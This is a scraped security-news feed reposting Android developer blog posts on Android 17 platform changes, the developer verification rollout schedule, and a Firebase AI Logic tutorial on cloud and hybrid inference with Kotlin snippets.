<p>Android 17 is ready for the next generation of cryptographic security:</p>
<ul>
  <li>Keystore Integration: Supported devices can generate ML-DSA (Module-Lattice-Based Digital Signature Algorithm) keys in secure hardware to produce quantum-safe signatures, exposed via standard JCA APIs.</li>
  <li>Hybrid APK Signing: Introducing the v3.2 APK Signature Scheme, which combines classical signatures with ML-DSA signatures to secure app delivery.</li>
</ul>

<h2>Safer native dynamic code loading </h2>
If your app targets SDK 37 or higher, the Safer Dynamic Code Loading (DCL) protection <a href="https://developer.android.com/about/versions/14/behavior-changes-14#safer-dynamic-code-loading">introduced in Android 14</a> for DEX and JAR files now extends to native libraries. All native files loaded using System.load must be marked as read-only. Otherwise, the system throws UnsatisfiedLinkError

<h2>Smarter password protection for physical inputs</h2>
<p>With Android 17, we're making it safer to enter passwords, PINs, and other secrets when using a physical keyboard by no longer showing the last typed character by default.</p>
<p>Users can still easily customize these display settings to match their preferences (availability may vary by device manufacturer).</p>
<p>These enhanced privacy protections are automatically supported byAndroid's built-in SDK components and will be supported in Compose 1.12 for SecureTextFields. </p>

<h3><div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgFjWXyRLybiLVAIrIm1_60XHXhPmpB1QEph7AuqsGHs-NihIDRFbUgBh32gUKxo30173W-RpEInX9hmYFVnW5V8ZqtM3n_CzxlT0B0PVQr0LSOuOi7x2kZgN_jHRRlYJ7bYInZllvUGNoA_SrXkNi5wwHvUghUcnl0Gsgx_-ts4QEHq_KdbEYgWCg92xA/s798/Hide%20First%20Letter.gif"><img border="0" data-original-height="449" data-original-width="798" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgFjWXyRLybiLVAIrIm1_60XHXhPmpB1QEph7AuqsGHs-NihIDRFbUgBh32gUKxo30173W-RpEInX9hmYFVnW5V8ZqtM3n_CzxlT0B0PVQr0LSOuOi7x2kZgN_jHRRlYJ7bYInZllvUGNoA_SrXkNi5wwHvUghUcnl0Gsgx_-ts4QEHq_KdbEYgWCg92xA/s16000/Hide%20First%20Letter.gif"></a></div></h3><h3><br></h3><h3><br></h3><h3><br></h3><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><i><div><i>Smarter password protection for physical inputs</i></div></i><div><br></div><h2>Media and camera features that empower creators and delight users
</h2><p>Android 17 introduces new <a href="https://blog.google/products-and-platforms/platforms/android/android-17-creator-features/">creator features</a> that give access to pro-quality cameras and media, all while improving the experience for consumers.</p>

<ul>
  <li><a href="https://developer.android.com/media/platform/integrate-eclipsa-video">Eclipsa Video</a>: HDR video standard built upon the <a href="https://github.com/SMPTE/st2094-50">SMPTE ST 2094-50 specification</a> that introduces new metadata to help devices adapt content for their display headroom and ambient light conditions, as well as improve the simultaneous display of standard and HDR content.</li>
  <li>RAW14 image format: New support for the <a href="https://developer.android.com/reference/kotlin/android/graphics/ImageFormat#raw14">RAW14 image format</a> provides a way for your professional camera app to capture the highest level of detail and color depth from compatible camera sensors.</li>
  <li>Vendor-defined camera extensions: Vendor-defined extensions enable hardware partners to define and implement custom camera extension modes, providing access to the best and latest camera features.</li>
  <li>Extended HE-AAC software encoder: A new system-provided Extended HE-AAC software encoder, supports both low and high bitrates using unified speech and audio coding, providing significantly better audio quality for voice messages in low-bandwidth conditions, including support for loudness metadata.</li>
  <li><a href="https://developer.android.com/guide/topics/media/media-formats#video-formats">Versatile Video Coding (H.266)</a>:  Enables OEMs to add codec support by defining the <a href="https://developer.android.com/guide/topics/media/media-formats#video-formats">video/vvc</a> MIME type in <a href="https://developer.android.com/reference/android/media/MediaFormat"><code>MediaFormat</code></a>, adding new VVC profiles in <a href="https://developer.android.com/reference/android/media/MediaCodecInfo"><code>MediaCodecInfo</code></a>, and integrating support into <a href="https://developer.android.com/reference/android/media/MediaExtractor"><code>MediaExtractor</code></a>.</li>
  <li>Camera device type: New APIs that query the underlying device type to identify if a camera is built-in hardware, an external USB webcam, or a virtual camera.</li>
  <li>Constant Quality for Video Recording: <a href="https://developer.android.com/reference/android/media/MediaRecorder#setVideoEncodingQuality(int)"><code>SetVideoEncodingQuality</code></a> in <a href="https://developer.android.com/reference/android/media/MediaRecorder"><code>MediaRecorder</code></a> configures a constant quality (CQ) mode for video encoders to ensure uniform visual fidelity across the entire video.</li>
</ul>

<h2>Better support for hearing aids</h2>
<ul>
  <li>Bluetooth LE Audio hearing aid support: Android now includes a specific device category for Bluetooth Low Energy (BLE) Audio hearing aids with the new <a href="https://developer.android.com/reference/android/media/AudioDeviceInfo#TYPE_BLE_HEARING_AID"><code>AudioDeviceInfo.TYPE_BLE_HEARING_AID</code></a> constant, so your app can distinguish hearing aids from regular headsets to provide a tailored experience for users with assistive listening devices.</li>
  <li>Granular audio routing for hearing aids: Android 17 allows users to independently manage where specific system sounds are played. They can choose to route notifications, ringtones, and alarms to connected hearing aids or the device's built-in speaker, helping to avoid unwanted in-ear interruptions while maintaining a Bluetooth connection for hearing aid management apps.</li>
</ul>

<h2>CameraX and  Media3</h2>
<p><a href="https://developer.android.com/jetpack/androidx/releases/camerax">CameraX</a> and <a href="https://developer.android.com/jetpack/androidx/releases/media3">Media3</a> have been updated for Android 17. They are there to do the heavy lifting, smoothing the rough edges of media development and simplifying building reliable camera capture,  smooth media playback, and creative and complex editing experiences. </p>

<p>We've released an <a href="https://github.com/android/skills/tree/main/camera">agent skill</a> that can migrate legacy Android camera implementations (Camera1 or raw Camera2 APIs) to CameraX.</p>
  
<p>Note: You'll need to update your CameraX version to either 1.5.2 or 1.6.0+ to avoid a crash related to an added dynamic range mode on Android 17 devices.</p>

<h3>Get your apps, libraries, tools, and game engines ready!</h3>
<p>If you develop an Android SDK, library, tool, or game engine, it's critical to prepare any necessary updates now to prevent your downstream app and game developers from being blocked by compatibility issues and allow them to target the latest SDK features. Please let your downstream developers know if updates are needed to fully support Android 17.</p>

<p>Testing involves installing your production app or a test app making use of your library or engine using Google Play or other means onto a device or emulator running Android 17 Beta 4. Work through all your app's flows and look for functional or UI issues. Each release of Android contains platform changes that improve privacy, security, and overall user experience; review the app impacting behavior changes for apps <a href="https://developer.android.com/about/versions/17/behavior-changes-all">running on</a> and <a href="https://developer.android.com/about/versions/17/behavior-changes-17">targeting</a> Android 17 to focus your testing, including the following:</p>
<ul>
  <li>Resizability on large screens: Once you target Android 17 (SDK 37), you can no longer opt out of maintaining orientation, resizability and aspect ratio constraints <a href="https://developer.android.com/about/versions/17/changes/ff-restrictions-ignored">on large screens</a>.</li>
  <li>Dynamic code loading: If your app targets SDK 37 or higher, the Safer Dynamic Code Loading (DCL) protection <a href="https://developer.android.com/about/versions/14/behavior-changes-14#safer-dynamic-code-loading">introduced in Android 14 </a>for DEX and JAR files now extends to native libraries. All native files loaded using System.load() must be marked as read-only. Otherwise, the system throws UnsatisfiedLinkError.</li>
  <li>Enable CT by default: <a href="https://developer.android.com/privacy-and-security/security-config#CertificateTransparencySummary">Certificate transparency (CT)</a> is enabled by default. (On Android 16, CT is available but apps had to <a href="https://developer.android.com/privacy-and-security/security-config#certificateTransparency">opt in</a>.)</li>
  <li>Local network protections: Apps targeting SDK 37 or higher have <a href="https://developer.android.com/privacy-and-security/local-network-permission#android-17-enforcement">local network access blocked by default</a>. Switch to using privacy preserving pickers if possible, and use the new <a href="https://developer.android.com/reference/kotlin/android/Manifest.permission#access_local_network"><b><code>ACCESS_LOCAL_NETWORK</code></b>permission for broad, persistent access.</a></li>
  <li>Background audio hardening: Starting in Android 17, the audio framework enforces <a href="https://developer.android.com/about/versions/17/changes/bg-audio">restrictions on background audio interactions</a> including audio playback, <a href="https://developer.android.com/media/optimize/audio-focus">audio focus</a> requests, and <a href="https://developer.android.com/reference/android/media/AudioManager#adjustStreamVolume(int,%20int,%20int)">volume change</a> APIs. Based on your feedback, we’ve made some changes since beta 2, including targetSDK gating while-in-use FGS enforcement and exempting alarm audio. Full details available in the <a href="https://developer.android.com/about/versions/17/changes/bg-audio">updated guidance</a>.</li>
  <li>NPU access declaration: Apps targeting Android 17 that need to directly access the NPU must declare <a href="https://developer.android.com/reference/kotlin/android/content/pm/PackageManager#feature_neural_processing_unit">FEATURE_NEURAL_PROCESSING_UNIT</a> in their manifest to avoid being blocked from accessing the NPU. This includes apps that use the <a href="https://ai.google.dev/edge/litert/next/npu">LiteRT NPU delegate</a>, vendor-specific SDKs, as well as the deprecated <a href="https://developer.android.com/ndk/guides/neuralnetworks">NNAPI</a>.</li>
</ul>

<h3>Get started with Android 17</h3>
<p>Your Pixel device should get Android 17 shortly if you haven't already been on the Android Beta. If you don’t have a Pixel device, you can <a href="https://developer.android.com/about/versions/17/get#on_emulator">use the 64-bit system images with the Android Emulator</a> in Android Studio. If you are currently on Android 17 Beta 4.1 and have not yet taken an Android 17 QPR1 beta, you can opt out of the program and you will then be offered the release version of Android 17 over the air.</p>
<h3>Getting the Android 17 beta on partner devices</h3>
<p>Android 17 is available in beta on handset, tablet, and foldable form factors <a href="https://developer.android.com/about/versions/17/devices">from partners</a> including Honor, iQOO, Lenovo, OnePlus, OPPO, Realme, Sharp, vivo, and Xiaomi.</p><div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjy5cwRcpdR2j-1KMzQPpsxvIODRLlVkaFNQEIQoNaPQa4X4rgEna5imminlwFdcSJ3xihXdUSFouOC0-ZKyK1A53cBmoaU03au-FjfsqkPXm0tPLtOaWT_7z8tqnMmQjFOr-YIKeP3BMVq8Hmd7yH0zllW1aFMuiW6AAAcDUVL7aIyCAIZUs0d_0VMdF4/s1653/android-17-beta-partners.jpg"><img border="0" data-original-height="624" data-original-width="1653" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjy5cwRcpdR2j-1KMzQPpsxvIODRLlVkaFNQEIQoNaPQa4X4rgEna5imminlwFdcSJ3xihXdUSFouOC0-ZKyK1A53cBmoaU03au-FjfsqkPXm0tPLtOaWT_7z8tqnMmQjFOr-YIKeP3BMVq8Hmd7yH0zllW1aFMuiW6AAAcDUVL7aIyCAIZUs0d_0VMdF4/s16000/android-17-beta-partners.jpg"></a></div><br><h3><br></h3>

<p>For the best development experience with Android 17, we recommend that you use the latest Canary build of <a href="https://developer.android.com/studio/preview">Android Studio Quail</a>. Once you’re set up, here are some of the things you should do:</p>
<p>Test your current app for compatibility, learn whether your app is <a href="https://developer.android.com/about/versions/17/behavior-changes-all">affected by changes in Android 17</a>, and install your app onto a device or <a href="https://developer.android.com/studio/run/emulator">Android Emulator</a> running Android 17 and extensively test it.</p>

<p>Thank you again to everyone who participated in our Android developer preview and beta program. We're looking forward to seeing how your apps take advantage of the updates in Android 17, and have plans to bring you updates in a fast-paced release cadence going forward.</p>
<p>For complete information on Android 17 please visit the <a href="https://developer.android.com/about/versions/17">Android 17 developer site</a>.</p><br><br>]]></content:encoded>
</item>
<item>
<title><![CDATA[Android developer verification: Building a safer ecosystem together]]></title>
<description><![CDATA[Posted by Matthew Forsythe, Director Product Management, Android App SafetyJuly 15, 2026: Updated Play Console requirements for Play developersTo meet Android developer verification and updated Play Console Requirements, Play developers must register their Play apps in Play Console. While 99% of ...]]></description>
<link>https://tsecurity.de/de/3693503/android-tipps/android-developer-verification-building-a-safer-ecosystem-together/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693503/android-tipps/android-developer-verification-building-a-safer-ecosystem-together/</guid>
<pubDate>Sat, 25 Jul 2026 10:15:33 +0200</pubDate>
<category>🤖 Android Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg2JeeSz9AeQDASycrf2ssGmJn2yQGvGFjyU29jKSs5hFtYySX9X5wDw4Pb63DF3co77osfiLeYj6LGt-_1v66X3svzCOdWAZz3w9Q2WKF28T4qZ4tCbiTEsP88lIZ44Ua6mLfg6VIQL_k3PVWlU4vDnJkTc9mJkdz188lH-smTL3oA47Yongl1w8sf4RY/s1235/260317_ADV%20Blog_Metadata.png"><div><i>Posted by Matthew Forsythe, Director Product Management, Android App Safety</i></div><div><br></div><div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg4_MWnkCTsO9zdnVQqFu2Aep5Q_GMvQvuXoGn-H_LXNpOYIVYFqbHi0R0iKpChOEJ-GB0p_7fLCiK_IGETshue4Fjd3tjyg95M3i92-DzdZpND5GPhr9jeBuj620YHAhPJ6CLdDXD8jsA1XyyYiBCS4p4eoZizZnA0DHKpwJqDUq-agwXl_GbtLrKdM5Y/s4210/260317_ADV%20Blog_Header.png"><img border="0" data-original-height="1254" data-original-width="4210" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg4_MWnkCTsO9zdnVQqFu2Aep5Q_GMvQvuXoGn-H_LXNpOYIVYFqbHi0R0iKpChOEJ-GB0p_7fLCiK_IGETshue4Fjd3tjyg95M3i92-DzdZpND5GPhr9jeBuj620YHAhPJ6CLdDXD8jsA1XyyYiBCS4p4eoZizZnA0DHKpwJqDUq-agwXl_GbtLrKdM5Y/s16000/260317_ADV%20Blog_Header.png"></a></div><br><br><div><br></div><div><br></div><div><br></div><b>July 15, 2026: Updated Play Console requirements for Play developers</b><br><br><blockquote>To meet Android developer verification and <a href="https://support.google.com/googleplay/android-developer/answer/17125096">updated Play Console Requirements</a>, Play developers must <a href="https://support.google.com/googleplay/android-developer/answer/16984799">register their Play apps</a> in Play Console. While 99% of apps on Play have been registered automatically, you should check your <a href="https://play.google.com/console/u/0/developers/5700313618786177705/android-developer-verification">Play Console Home page</a> to register any remaining apps by September 30, 2026 to avoid global removal from Google Play and ensure a seamless user installation experience. </blockquote><br><blockquote>You can also use Play Console to register apps you distribute outside of Google Play to ensure they can be installed on certified Android devices.</blockquote><span><div><br></div></span><div>Last year, we introduced <a href="https://developer.android.com/developer-verification">Android developer verification</a> to strengthen ecosystem security and stop malicious actors from hiding behind anonymity to release harmful apps. Millions of apps have been registered since the verification launched in March, covering nearly all installs on Google Play and a large majority of installs from outside of Google Play. We appreciate the feedback and partnership from industry leaders, developers, and Android communities that helped us design this experience and drive strong adoption.<h2>Initial launch across seven stores and four countries</h2>

<p>These new developer verification protections will take effect on September 30, 2026, starting with users in Brazil, Indonesia, Singapore, and Thailand.</p>

<p>This rollout is an <b>industry-wide effort to create a safer ecosystem</b>. We will begin by verifying app installations from the following stores:</p>

<ul>
    <li>Google (Google Play)</li>
    <li>Honor (HONOR App Market)</li>
    <li>OPlus (OPPO App Market)</li>
    <li>Samsung (Galaxy Store)</li>
    <li>Transsion (Palm Store)</li>
    <li>vivo (V-Appstore)</li>
    <li>Xiaomi (GetApps)</li>
</ul>

<p>Following this initial phase with our partners, we will expand these protections globally for all apps on certified Android devices in 2027.</p><h2>Automate your workflow with new APIs</h2>

<p>To further streamline app registration, we are<b> launching a suite of developer-requested APIs</b> to help you register apps in bulk or directly through your continuous integration and deployment (CI/CD) pipelines. The Android Developer ID Status API will let you check if a package name has already been registered, and the Android Developer Console API will let you register and manage package names directly within your development environment. Both APIs also support OAuth delegation, allowing third-party platforms, like Android app stores, to perform these operations natively on your behalf.</p>

We'll launch these APIs over the next few months.<h2>What’s next</h2>

<p></p><ul><li><strong>June 2026:</strong> Starting this month, we are rolling out a new <a href="https://support.google.com/android/answer/17065026">system service</a> that will be automatically installed on most Android devices. This service will be used later this year to verify developer registration.</li><li><strong>July 2026:</strong> We’ll launch the Android Developer ID Status API globally and begin early access for the Android Developer Console API. Early access also starts for <a href="https://developer.android.com/developer-verification/guides/limited-distribution">limited distribution accounts</a> on Android Developer Console. This new type of Android developer account is designed for students, hobbyists, and learners and lets you share your apps to up to 20 devices without a government-issued ID or a fee.</li><li><strong>August 2026:</strong> Limited distribution accounts and the new Android Developer Console API will launch globally. We’ll also launch an <a href="https://android-developers.googleblog.com/2026/03/android-developer-verification.html">advanced flow</a> for installing apps from unverified developers, which includes security checkpoints to resist coercion scams, while allowing power users to maintain the ability to <a href="https://developer.android.com/developer-verification/guides/faq#sideload-apps">sideload apps</a> from unverified developers.</li><li><strong>September 30, 2026:</strong> App registration becomes required for <b>participating stores in Brazil, Indonesia, Singapore, and Thailand</b>. Unregistered apps can be sideloaded with Android Debug Bridge (adb) or advanced flow.</li><li><strong>2027 and beyond:</strong> After incorporating the feedback from our partners, users, and developer community, we’ll expand the Android verification requirement globally.<br></li></ul><div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhFUMAeS0ew75nme5xUK0qAQraK0-WpiUXp1B6m1yJFMqOrHUo7AyMMEfO-aYq9mZ6vy7GYPcBxRByKGQNgRbS99uW1b5hwbViEmIbGFVsLqhw7e-LSF_dozTAlKb7D1n_0Rc42S5MxzpxI5rrbSdDIQMVt6SXEErcnI-HrA0McFfL_BMoe2xMJtG9UU6I/s960/ABL_83_Blog%20in%20line%20asset%20-%20ADV%20July.png" imageanchor="1"><img border="0" data-original-height="540" data-original-width="960" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhFUMAeS0ew75nme5xUK0qAQraK0-WpiUXp1B6m1yJFMqOrHUo7AyMMEfO-aYq9mZ6vy7GYPcBxRByKGQNgRbS99uW1b5hwbViEmIbGFVsLqhw7e-LSF_dozTAlKb7D1n_0Rc42S5MxzpxI5rrbSdDIQMVt6SXEErcnI-HrA0McFfL_BMoe2xMJtG9UU6I/s1600/ABL_83_Blog%20in%20line%20asset%20-%20ADV%20July.png"></a></div><br><div><br></div><h2>Get started with Android developer verification</h2>

<p>If you distribute apps in Brazil, Indonesia, Singapore, or Thailand via the stores listed above, please ensure your verification is complete by the September deadline.</p>

<p></p><ul><li><strong>Google Play developers:</strong> Most Play developers are already verified, and over 99% of their apps have been registered. Go to your <a href="https://play.google.com/console/developers/app-list">Play Console Home page</a> to see your app’s verification status, and <a href="https://support.google.com/googleplay/android-developer/answer/16984799">register apps</a> you want to continue distributing that weren't automatically registered.</li><li><strong>Developers who distribute only outside of Google Play:</strong> Sign up for the <a href="https://android.google.com/developerconsole/developers">Android Developer Console</a> today to register your apps.</li></ul><p></p>



<p></p><ul><ul><li><strong>Students and hobbyists:</strong> Sign up <a href="https://google.qualtrics.com/jfe/form/SV_4N7NGE06NjJJdl4">here</a> for early access to limited distribution accounts to help us refine the feature with your feedback.</li></ul></ul><p></p>

Thank you for helping us build a safer Android ecosystem. Stay tuned for more updates as we approach September and the 2027 global rollout.</div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Build intelligent Android apps: Cloud and hybrid inference]]></title>
<description><![CDATA[Posted by Thomas Ezan, Jolanda Verhoef, Caren Chang, Senior Developer Relations Engineers, Android Developer RelationsWelcome back to the blog post series "Build intelligent Android apps" where we take a basic Android app and transform it into a personalized, intelligent, and agentic experience. ...]]></description>
<link>https://tsecurity.de/de/3693496/android-tipps/build-intelligent-android-apps-cloud-and-hybrid-inference/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693496/android-tipps/build-intelligent-android-apps-cloud-and-hybrid-inference/</guid>
<pubDate>Sat, 25 Jul 2026 10:15:23 +0200</pubDate>
<category>🤖 Android Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiBHTpa22SxEltoebLZYO_34iRtahN8z5tA3tnIryIii0s4_conN5qFYfmNro6nmZBfsgiZeRLtru-gE4XO2mf-RBDyIo00kf3QunWwUO-SICHkVSv0exAQQ4qA0KzjMGRpA8qj1TSMP0Ffe0FzrEc_S1zBaakKzCZFpqYLXqds9Zqmqr8yyeSgyNl9U0s/s2469/features%20in%20Jetpacker%20Features%20with%20Firebase%20AI%20Logic%20_Meta.png"><div><i>Posted by Thomas Ezan, Jolanda Verhoef, Caren Chang, Senior Developer Relations Engineers, Android Developer Relations</i></div><div><br></div><div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjn2fO3T2xckksQ9pk3RUNPxZqqq2CyaifXnju0lCCpbfwJ4gZyq-df0kM_mK1TMV0F9YCMo19Ba9NvFAiUpzDH6Wlk_RyonRCK5Ono25CYyQ7xGC3q70mUhyphenhyphenOOYJ-5JX2KlFP1lIA3ULIhH86_hP2ptO0AllUIf6ZVh-SqoXVWcXrM8m3hHCkhGwZYfP4/s8583/AFD%20-%20%5BABL_101%5D%20Building%20AI%20features%20in%20Jetpacker%20Features%20with%20Firebase%20AI%20Logic%20_Blog.png"><img border="0" data-original-height="2601" data-original-width="8583" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjn2fO3T2xckksQ9pk3RUNPxZqqq2CyaifXnju0lCCpbfwJ4gZyq-df0kM_mK1TMV0F9YCMo19Ba9NvFAiUpzDH6Wlk_RyonRCK5Ono25CYyQ7xGC3q70mUhyphenhyphenOOYJ-5JX2KlFP1lIA3ULIhH86_hP2ptO0AllUIf6ZVh-SqoXVWcXrM8m3hHCkhGwZYfP4/s1600/AFD%20-%20%5BABL_101%5D%20Building%20AI%20features%20in%20Jetpacker%20Features%20with%20Firebase%20AI%20Logic%20_Blog.png"></a></div><br><p><br></p><p>Welcome back to the blog post series "<a href="http://android-developers.googleblog.com/2026/07/build-intelligent-android-apps-introduction-jetpack.html" target="_blank">Build intelligent Android apps</a>" where we take a basic Android app and transform it into a <b>personalized</b>, <b>intelligent</b>, and <b>agentic</b> experience. In our <a href="http://android-developers.googleblog.com/2026/07/android-on-device-inference.html">previous post</a> we explored how to build intelligent on-device features using Gemini Nano through ML Kit's Prompt API.</p>

<p>In this post, we will look at how you can leverage <b><a href="https://firebase.google.com/docs/ai-logic">Firebase AI Logic</a> </b>to build cloud-hosted and hybrid AI features: </p>
<ul>
  <li>Grounding answers in real-world context</li>
  <li>Routing requests dynamically between cloud and local execution using hybrid inference</li>
  <li>Translating content with custom routing systems</li>
</ul>

<div>
  
  
</div><p><br></p><p>Sometimes a use case requires AI models with greater world knowledge, a much larger context window, or the ability to handle complex queries. In those scenarios, we can leverage cloud models. </p>

<p>Other times, you want the best of both worlds: using hybrid inference to run on-device when available to lower costs, while falling back to the cloud to ensure compatibility for all devices.</p><br><div class="separator"><div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhwlTUF1Kzkbrf2w64KO3jZJZZ_wLEu34vq6Cb7PX2alVUhFVdbkiWuXCkzUS-bPJkHMbmuNJ_Ov0HYZzujr69jCU9gPvmKaKMZt2q4-TolSDFCLABBIY1IBRY9Zn7D5S10hFcJD2kuVCm3N2glpqDJoHiqAZat4z6oyXxxwH4ZCGVBgfPObMevoJrgNPg/s8000/features_upscaled.png"><img border="0" data-original-height="4744" data-original-width="8000" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhwlTUF1Kzkbrf2w64KO3jZJZZ_wLEu34vq6Cb7PX2alVUhFVdbkiWuXCkzUS-bPJkHMbmuNJ_Ov0HYZzujr69jCU9gPvmKaKMZt2q4-TolSDFCLABBIY1IBRY9Zn7D5S10hFcJD2kuVCm3N2glpqDJoHiqAZat4z6oyXxxwH4ZCGVBgfPObMevoJrgNPg/s1600/features_upscaled.png"></a></div><em>Cloud and hybrid features in Jetpacker: Museum assistant with web grounding, hybrid restaurant review drafting, and 
  support chat featuring custom-routed live translation.</em></div>

<p>Let’s look at how we implemented three cloud and hybrid features in <a href="https://github.com/android/ai-samples/tree/main/jetpacker" target="_blank">Jetpacker</a>:</p>
<ul>
  <li>a museum assistant with web grounding</li>
  <li>hybrid restaurant review drafting</li>
  <li>hotel support chat featuring custom-routed live translation.</li>
</ul>

<h2>Use LLM grounding for up-to-date informationMuseum assistant chatbot with LLM grounding</h2>
<p>The <b>Museum assistant </b>is an interactive chatbot designed to help users plan their museum visits. It provides visitors with up-to-date details regarding specific exhibits, current opening hours, ticket pricing, and more.</p><br><div class="separator"><em><div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj3pxeCVJfOo5G7McNB4RCIhoCUch8CHSAWI7gHijJJcE95b0gbu3lyAO1xIWc6mKllkpylSPBnVfU6RYnwfay4z6dH7TlufPuNw3Lw7s-bEuR4Ajx8IHK8k6zJcOHitqMRdDv8EVL-fCN6uuDo1QTnOgk_RW-AEM1_hZaJWbCGezMQF_D9Hia-Rm2T4-c/s4880/museum_assistant_upscaled.png"><img border="0" data-original-height="4880" data-original-width="2392" height="640" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj3pxeCVJfOo5G7McNB4RCIhoCUch8CHSAWI7gHijJJcE95b0gbu3lyAO1xIWc6mKllkpylSPBnVfU6RYnwfay4z6dH7TlufPuNw3Lw7s-bEuR4Ajx8IHK8k6zJcOHitqMRdDv8EVL-fCN6uuDo1QTnOgk_RW-AEM1_hZaJWbCGezMQF_D9Hia-Rm2T4-c/w314-h640/museum_assistant_upscaled.png" width="314"></a></div>Museum assistant is a chatbot that answers questions, such as </em></div><div class="separator"><em>‘How can I get a ticket discount for Le Louvre?’</em></div>

<p>When building AI features, getting the model to answer with fresh, accurate, and specific real-world information is a common challenge. While cloud models possess massive amounts of world knowledge, they might not know about seasonal exhibits or the current day’s opening hours. </p><div class="separator"><div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi8He5M2JC5EwXZwa-M52UAXHSO4dWy4gx3aZoY2ZXM-x25pV4kc6BsICe_fG4Zn6-R37_UgTQ8LBSsrNcP50e3aQLgxNbHOfWLBqzaSqQ78ZDmNEJadZNc-I5bduHr0UtWOxYMTFAHgffxcuzaETHPe3lvfRod2rkeOUXnRaLJ_vIiAfO_xRKpESbX3L8/s8000/grounding_upscaled.png"><img border="0" data-original-height="4452" data-original-width="8000" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi8He5M2JC5EwXZwa-M52UAXHSO4dWy4gx3aZoY2ZXM-x25pV4kc6BsICe_fG4Zn6-R37_UgTQ8LBSsrNcP50e3aQLgxNbHOfWLBqzaSqQ78ZDmNEJadZNc-I5bduHr0UtWOxYMTFAHgffxcuzaETHPe3lvfRod2rkeOUXnRaLJ_vIiAfO_xRKpESbX3L8/s1600/grounding_upscaled.png"></a></div><br><em><br>Grounding data is added to the context window to enable the model</em></div><div class="separator"><em> to answer questions correctly and accurately.</em></div>

<p>To bridge this gap, we can use grounding techniques to add extra context to the model’s context window. The <a href="https://firebase.google.com/products/firebase-ai-logic" target="_blank">Firebase AI Logic SDK</a> supports three types of grounding:</p>
<ul>
  <li><strong><a href="https://firebase.google.com/docs/ai-logic/url-context">URL grounding</a>:</strong> Grounding responses using content from a specific webpage (e.g. current ticket prices or museum rules).</li>
  <li><strong><a href="https://firebase.google.com/docs/ai-logic/grounding-google-search">Google Search grounding</a>:</strong> Letting the model query the real-time Google search index for up-to-date details.</li>
  <li><strong><a href="https://firebase.google.com/docs/ai-logic/grounding-google-maps">Maps grounding</a>:</strong> Using Google Maps location data.</li>
</ul>

<p>In Jetpacker, we dynamically construct the available tools based on enabled feature flags and initialize the generative model using the Firebase AI SDK:</p>

<pre><code>// implementation("com.google.firebase:firebase-ai-logic")

private var toolList = mutableListOf&lt;Tool&gt;()

init {
    if (ENABLE_SEARCH_GROUNDING) {
        toolList.add(Tool.googleSearch())
    }
    if (ENABLE_URL_GROUNDING) {
        toolList.add(Tool.urlContext())
    }
}

private val generativeModel = Firebase.ai(backend = GenerativeBackend.googleAI())
    .generativeModel(
        modelName = "gemini-3-flash",
        systemInstruction = content {
            text("You are a helpful museum assistant answering questions about a museum. Use plain text.")
        },
        tools = toolList
    )</code></pre>

<p>When the user queries the assistant, if URL grounding is enabled, we append the specific museum resource URLs directly into the prompt:</p>

<pre><code>val groundingText = if (FeatureFlags.ENABLE_URL_GROUNDING) {
    "\n If the following message above is about the rules and terms to visit Le Louvre, " +
    "if needed answer this urls ${urlList.joinToString()}"
} else {
    ""
}

val prompt = "$text $groundingText"

var response = chat.sendMessage(prompt)
</code></pre>

<h2>Hybrid inference: On-device review generation with Maps deep link</h2>
<p>Not every AI task requires a cloud-based model, and not every device is online. To help developers balance latency, cost, and offline availability, we recently introduced the <a href="https://firebase.google.com/docs/ai-logic/hybrid/android/get-started?api=dev">Firebase API for Hybrid Inference</a>.</p>

<p>In Jetpacker, the <b>restaurant review</b> feature lets users review select topics and automatically drafts a review. To enable this for all users, we prioritize local execution with Gemini Nano, and fall back to cloud models on devices that don’t support Gemini Nano. </p><div class="separator"><div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjVa1o2Zh3v3Babi7gGmzOFYAKPEgS0HWmvisiKgK-QsSRh_ZhjTjuUYSS_QIH0JQw9NsqrkYe4Quud6cfCGwVc61_7HKcACj6c9yywWySn5xyHGgemBR5tYPP8q3bmLadaN6uLXspE9LqrcZkVdckEGHWDhdfYVa-xo8QomDaRn03mau2fHVyK0Fr1FaU/s4680/review_upscaled.png"><img border="0" data-original-height="4680" data-original-width="2392" height="640" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjVa1o2Zh3v3Babi7gGmzOFYAKPEgS0HWmvisiKgK-QsSRh_ZhjTjuUYSS_QIH0JQw9NsqrkYe4Quud6cfCGwVc61_7HKcACj6c9yywWySn5xyHGgemBR5tYPP8q3bmLadaN6uLXspE9LqrcZkVdckEGHWDhdfYVa-xo8QomDaRn03mau2fHVyK0Fr1FaU/w327-h640/review_upscaled.png" width="327"></a></div><br></div><div class="separator"><em>The restaurant review feature uses hybrid inference to draft a review based on topics</em></div><div class="separator"><em><br></em></div>

